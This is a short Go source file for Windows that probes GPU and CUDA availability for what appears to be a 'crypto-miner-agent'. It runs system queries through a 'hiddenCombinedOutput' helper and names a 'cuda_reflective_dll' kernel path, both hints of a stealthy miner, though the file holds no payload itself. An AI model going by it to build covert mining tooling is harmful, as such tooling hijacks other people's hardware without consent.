60 lines
1.4 KiB
Go
60 lines
1.4 KiB
Go
//go:build windows
|
|
|
|
package miner
|
|
|
|
import (
|
|
"os"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
|
|
probe := GPUComputeProbe{
|
|
StratumReady: strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "",
|
|
KernelPath: "hlsl_stub",
|
|
DiagnosticOnly: true,
|
|
}
|
|
|
|
if cudaOK() {
|
|
probe.CUDAAvailable = true
|
|
probe.KernelPath = "cuda_reflective_dll"
|
|
probe.ReflectiveDLL = true
|
|
}
|
|
if !probe.CUDAAvailable && hlslOK() {
|
|
probe.HLSLAvailable = true
|
|
probe.KernelPath = "hlsl_compute_stub"
|
|
}
|
|
|
|
// Probe-tier hashrate is diagnostic-only; poor values are acceptable.
|
|
probe.HashrateEstimate = 0
|
|
return probe
|
|
}
|
|
|
|
func cudaOK() bool {
|
|
paths := []string{
|
|
os.Getenv("CUDA_PATH"),
|
|
`C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA`,
|
|
}
|
|
for _, p := range paths {
|
|
if p == "" {
|
|
continue
|
|
}
|
|
if st, err := os.Stat(p); err == nil && st.IsDir() {
|
|
return true
|
|
}
|
|
}
|
|
out, err := hiddenCombinedOutput("where", "nvidia-smi")
|
|
return err == nil && strings.Contains(strings.ToLower(string(out)), "nvidia-smi")
|
|
}
|
|
|
|
func hlslOK() bool {
|
|
// DirectX compute shaders require d3d11; probe via DXGI adapter presence.
|
|
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
|
|
`(Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 0 } | Measure-Object).Count`)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return strings.TrimSpace(string(out)) != "0"
|
|
}
|